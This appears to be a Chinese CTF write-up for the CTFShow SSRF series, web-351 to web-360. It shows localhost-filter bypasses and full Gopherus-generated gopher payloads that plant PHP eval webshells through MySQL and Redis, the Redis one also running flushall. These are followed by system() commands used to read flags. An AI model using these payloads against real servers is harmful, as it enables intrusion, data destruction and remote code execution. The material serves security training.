CTFShow-SSRF篇
CTFShow-SSRF篇
MooSeSSRF篇
web-351
此题为 【从0开始学web】系列第三百五十一题此系列题目从最基础开始,题目遵循循序渐进的原则
SSRF开始啦
- 首先进入环境
分析代码,发现是POST传参
url由post传参
- 于是用harkbar
- post请求传参url的值
- 以此访问falg
1 | url=127.0.0.1/flag.php |
- 即可获取flag
web-352
- 进入环境
- 逐行分析代码
1 | <?php |
<?php
开始PHP脚本。error_reporting(0);
禁用错误报告,防止任何错误消息显示给用户。highlight_file(__FILE__);
显示当前文件的源代码,这里用于展示该PHP文件的内容。$url=$_POST['url'];
从POST请求中获取url
参数的值。$x=parse_url($url);
解析URL,将其分解为不同部分(scheme, host, path等)。if($x['scheme']==='http'||$x['scheme']==='https'){
检查URL的scheme部分是否为http或https。if(!preg_match('/localhost|127.0.0/')){
使用正则表达式检查URL中是否包含localhost
或127.0.0
,如果不包含则继续执行。这里有个错误,没有指定要匹配的字符串,也没有对正则表达式的匹配目标进行限定,应该是!preg_match('/localhost|127.0.0/', $url)
。$ch=curl_init($url);
初始化一个cURL会话。curl_setopt($ch, CURLOPT_HEADER, 0);
设置cURL选项,不包含头部信息。curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
设置cURL选项,将结果返回为字符串而不是直接输出。$result=curl_exec($ch);
执行cURL会话,获取结果。curl_close($ch);
关闭cURL会话。echo ($result);
输出cURL会话的结果。}
结束第二个if语句的代码块。else{ die('hacker'); }
如果URL中包含localhost
或127.0.0
,则终止脚本并输出”hacker”。}
结束第一个if语句的代码块。else{ die('hacker'); }
如果URL的scheme不是http或https,终止脚本并输出”hacker”。?>
结束PHP脚本。
这段代码的主要功能是接受用户提交的URL,如果该URL的scheme是http或https,并且不包含
localhost
或127.0.0
,则使用cURL获取该URL的内容并输出。否则,会输出”hacker”并终止脚本。
- 由此可见,该题也采用
POST
请求 - 同时对
localhost
和127.0.0
进行了过滤 - 打开hackbar,加上http
然后想办法绕过对127.0.0.1的过滤
尝试用
127.1
成功绕过
尝试用进制转换
八进制
017700000001
成功绕过十六进制
0x7F000001
成功绕过
web-353
进入环境
查看源码
1 | <?php |
- 与上一题一样,POST传参
- 只是增加了对
.0
、.|
、。/i
的过滤 - 观察分析,进制转换仍然可以使用
1 | url=http://0x7F000001/flag.php |
- 成功拿到flag
web-354
- 再看这一题
1 | <?php |
- 直接把
0
和1
都过滤掉了
- 用
302跳转
进行绕过 - 用解析到
127.0.0.1
的url
或**网址
**来绕过
1 | url=http://sudo.cc/flag.php |
1 | url=http://safe.taobao.com/flag.php |
web-355
- 查看源码
- 要求
host
字符数小于5
1 | <?php |
- 用
127.1
绕过
- 成功拿到flag
web-356
- 查看源码
1 | <?php |
- 要求host字符数小于等于3
- 用
0
代替127.0.0.1
1 | url=http://0/flag.php |
- 成功绕过
web-357
- 查看源码
1 | <?php |
- 逐行分析
<?php
开始PHP脚本。error_reporting(0);
禁用错误报告,防止任何错误消息显示给用户。highlight_file(__FILE__);
显示当前文件的源代码,用于展示该PHP文件的内容。$url=$_POST['url'];
从POST请求中获取url
参数的值。$x=parse_url($url);
解析URL,将其分解为不同部分(如scheme, host, path等)。if($x['scheme']==='http'||$x['scheme']==='https'){
检查URL的scheme部分是否为http或https。$ip = gethostbyname($x['host']);
获取URL主机名的IP地址。echo '</br>'.$ip.'</br>';
输出获取的IP地址,用于调试。if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
使用filter_var函数验证IP地址,确保它不是私有IP地址或保留IP地址。die('ip!');
如果IP地址是私有或保留IP地址,终止脚本并输出“ip!”。echo file_get_contents($_POST['url']);
如果通过了所有检查,从URL获取内容并输出。}
结束第一个if语句的代码块。else{ die('scheme'); }
如果URL的scheme不是http或https,终止脚本并输出“scheme”。?>
结束PHP脚本。
这段代码的主要功能是接受用户提交的URL,检查其scheme是否为http或https,并验证其主机名的IP地址是否是公共的。如果这些条件都满足,则获取该URL的内容并输出;否则,输出相应的错误消息并终止脚本。
补充知识点
gethostbyname()函数
用域名或者主机名获取地址,操作系统提供的库函数。
成功返回的非空指针指向如下的hostent结构:
filter_var() 函数
通过指定的过滤器过滤变量。
如果成功,则返回已过滤的数据,如果失败,则返回 false。
语法:filter_var(variable, filter, options)
参数 | 描述 |
---|---|
variable | 必需。规定要过滤的变量。 |
filter | 可选。规定要使用的过滤器的 ID。 |
options | 规定包含标志/选项的数组。检查每个过滤器可能的标志和选项。 |
PHP Filter 函数
PHP Filter 是 PHP 内置的一个扩展模块,提供了一系列过滤器函数,用于对不安全的用户输入数据进行过滤和验证,以防止代码注入、跨站脚本攻击等安全问题。
PHP Filter 扩展模块提供了多种过滤器函数,包括:
filter_var():对变量进行过滤和验证;
filter_input():对输入变量进行过滤和验证;
filter_input_array():对输入变量数组进行过滤和验证;
filter_has_var():检查输入变量是否存在;
filter_list():获取所有可用的过滤器列表。
这些函数可以使用各种过滤器类型对输入数据进行过滤和验证,包括:
- FILTER_VALIDATE_BOOLEAN:验证布尔型;
- FILTER_VALIDATE_EMAIL:验证电子邮件地址;
- FILTER_VALIDATE_FLOAT:验证浮点型;
- FILTER_VALIDATE_INT:验证整型;
- FILTER_VALIDATE_IP:验证 IP 地址;
- FILTER_VALIDATE_REGEXP:验证正则表达式;
- FILTER_VALIDATE_URL:验证 URL。
除了上述过滤器类型外,PHP Filter 还提供了一些其他的过滤器类型,例如 FILTER_SANITIZE_ STRING、FILTER_SANITIZE_EMAIL、FILTER_SANITIZE_URL 等,用于对输入数据进行过滤和清理。
web-358
- 查看源码
1 | <?php |
分析代码:
关闭错误报告并显示当前文件的内容:
1 | error_reporting(0); |
这两行代码首先关闭了所有的错误报告,然后使用 highlight_file
函数将当前脚本文件的内容以语法高亮的形式显示出来。
获取用户提交的URL:
1 | $url=$_POST['url']; |
从POST请求中获取用户提交的url
参数,并使用 parse_url
函数解析该URL。
检查URL格式并获取内容:
1 | if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){ |
使用 preg_match
函数检查用户提交的URL是否符合指定的正则表达式格式:http://ctf.*show
。如果URL符合该格式,则使用 file_get_contents
函数获取该URL的内容并输出。
正则表达式
正则表达式: 正则表达式 '/^http:\/\/ctf\..*show$/i'
用于匹配以 http://ctf.
开头并以 show
结尾的URL
- 也就是说要将ctfshow加入到原payload中
1 | url=http://127.0.0.1/flag.ph |
- 构造payload
1 | url=http://ctf.@127.0.0.1/flag.php?show |
- 成功拿到flag
@绕过原理
.@
前面会被解析成用户名,后面是访问地址可用于需要在地址前加上特定字符串时
?绕过原理
- ?一般用于对某个键赋值
- 这里可以只引用 而不赋值
web-359 gopher协议打mysql
参考[ctfshow——web入门-SSRF_ctfshow web入门ssrf-CSDN博客](https://blog.csdn.net/2301_80481202/article/details/137506491?ops_request_misc=%7B%22request%5Fid%22%3A%22172087649616800178523498%22%2C%22scm%22%3A%2220140713.130102334..%22%7D&request_id=172087649616800178523498&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-1-137506491-null-null.142^v100^pc_search_result_base6&utm_term=ctfshow web入门ssrf&spm=1018.2226.3001.4187)
- 首先进入环境,是一个登陆界面(这是题目本身,刚开始还以为登陆失败,在队长面前丢人了)
- 任意输入后进入xxx.check.php的空白页面
- 题目大概是这样子,没有回显
- 但是题目提示了这是一道无密码的MySQL,存在SSRF漏洞
- 于是也使用gopher协议
- 打开Kali,用gopherus
- 使用mysql指令
- 输入
username
为root
- 然后构造一句话木马
- 这个代码手敲真的要很细心,复盘的时候敲错了很多次了!!!
1 | select '<?php eval($_POST['moose']);?>' into outfile '/var/www/html/super.php' |
1 | gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4f%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%6d%6f%6f%73%65%27%5d%29%3b%3f%3e%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%73%75%70%65%72%2e%70%68%70%27%01%00%00%00%01 |
将得到的payload
gopher://127.0.0.1:3306/_
后面的部分进行一次url编码编码后的payload
1 | gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%254f%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2527%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2527%256d%256f%256f%2573%2565%2527%255d%2529%253b%253f%253e%2527%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2573%2575%2570%2565%2572%252e%2570%2568%2570%2527%2501%2500%2500%2500%2501 |
- 然后在xxx.check处POST传参url的值,也就是payload
- 后来发现不能用
url
,而应该用returl
上传php文件后命令执行拿到flag
ps:密码用字符串太容易出错了
改一下:
- 构造一句话木马
1 | select '<?php eval($_POST[1]);?>' into outfile '/var/www/html/super.php' |
- 将得到的payload
gopher://127.0.0.1:3306/_
后面的部分进行一次url编码
1 | gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%49%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%73%75%70%65%72%2e%70%68%70%27%01%00%00%00%01 |
- 编码后的payload如下:
1 | gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2549%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2527%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2531%255d%2529%253b%253f%253e%2527%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2573%2575%2570%2565%2572%252e%2570%2568%2570%2527%2501%2500%2500%2500%2501 |
- 然后在check.php传参
- 注意用
returl
而不是url
!!!
- 成功上传的标志!
- 然后就可以进行命令执行
1 | 1=system('ls'); |
- 我们先找到根目录(多写几个
../
也没关系)
1 | 1=system('ls /../../../../'); |
- 发现根目录下的flag.txt
- 读取flag文件的内容
1 | 1=system('cat /../../../../../../flag.txt'); |
- 即可拿到flag
returl
URL
URL
(Uniform Resource Locator)是统一资源定位符,用于指定资源在互联网上的位置。一个完整的URL包括以下几个部分:
- 协议(scheme):如
http
、https
、ftp
等。 - 域名(domain):如
example.com
。 - 路径(path):指定资源在服务器上的位置,如
/index.html
。 - 查询字符串(query string):包含发送到服务器的数据,如
?id=123&name=abc
。 - 片段(fragment):如
#section1
,用于指定资源中的某个位置。
例如,URL https://www.example.com/path/to/resource?id=123#section1
由上述部分组成。
returl
returl
(Return URL)通常是指一个返回URL,表示在某些操作完成后用户将被重定向到的URL。returl
的典型应用场景包括:
- 登录/注册后的重定向:用户完成登录或注册后,被重定向回之前访问的页面。
- 支付完成后的重定向:用户完成支付后,被重定向到确认页面或订单详情页面。
- 表单提交后的重定向:用户提交表单后,被重定向到一个确认或结果页面。
区别
- 用途:
url
:泛指任何资源的地址,可以是网页、图片、文件等的链接。returl
:专门指完成某些操作(如登录、支付、表单提交等)后的返回地址。
- 命名惯例:
url
:作为通用术语,广泛用于指代任何URL。returl
:通常在特定上下文中使用,指操作完成后的重定向地址。
- 场景:
url
:可以出现在HTML文档的链接、图片、脚本等标签中,以及后端代码中处理的资源地址。returl
:多用于后端代码处理逻辑中,表示操作完成后的返回地址,并常常出现在重定向逻辑中。
示例
假设一个用户正在进行支付操作:
url
:可以是用户正在访问的支付页面的URL,如https://www.example.com/pay
.returl
:支付完成后用户将被重定向到的URL,如https://www.example.com/order/confirmation
.
1 | php复制代码// 示例代码 |
在这个示例中,url
表示当前页面的URL,而 returl
表示支付完成后的重定向地址。
web-360 gopher协议打redis
进入环境
查看源码
1 | <?php |
分析源码:
关闭错误报告:
1
error_reporting(0);
这行代码将错误报告级别设置为0,即关闭所有的错误报告。这样可以防止错误信息显示给用户。
显示当前脚本文件的内容:
1
highlight_file(__FILE__);
这行代码使用
highlight_file
函数将当前脚本文件的内容以语法高亮的形式显示出来。这通常用于调试或学习目的。获取用户提交的URL:
1
$url=$_POST['url'];
从POST请求中获取用户提交的
url
参数并将其存储在变量$url
中。初始化cURL会话:
1
$ch=curl_init($url);
使用
curl_init
函数初始化一个cURL会话,并将目标URL设置为$url
。设置cURL选项:
1
2curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);CURLOPT_HEADER, 0
:设置cURL不输出头部信息。CURLOPT_RETURNTRANSFER, 1
:设置cURL将结果作为字符串返回,而不是直接输出。
执行cURL会话:
1
$result=curl_exec($ch);
执行cURL会话,并将返回结果存储在变量
$result
中。关闭cURL会话:
1
curl_close($ch);
使用
curl_close
函数关闭cURL会话,释放资源。输出结果:
1
echo ($result);
输出通过cURL获取的结果。
总结一下,这段代码从用户提交的POST请求中获取URL,然后通过cURL库访问该URL,并将其内容返回并显示出来。
使用gopher协议进行redis
打开Kali,用gopherus打开终端
- 写入一句话木马
1 | <?php eval($_POST['1']);?> |
- 拿到payload
1 | gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2430%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%271%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A |
- 将gopher://127.0.0.1:6379/_后面的部分进行一次url编码
- 编码工具在线URL编码解码工具-UrlEncode编码-UrlDecode解码在线工具 (jsons.cn)
- 编码后的payload
1 | gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252430%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%25271%2527%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A |
用hackbar进行post传参
也可直接在url处进行get传参:
1 | f3b95434-a94f-488e-98a3-6dbd053169b5.challenge.ctf.show?url=gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252430%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%25271%2527%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A |
(噢 这一题要求用POST传参,那打扰了)
- 然后就可以访问shell.php文件
- 然后命令执行
1 | 1=system('ls'); |
- 然后查看上一级,不断地
../
1 | 1=system('ls ../../../'); |
- 诶 发现flag疑似文件
cat
一下
1 | 1=system('cat ../../../flaaag'); |
- 轻松拿到flag✔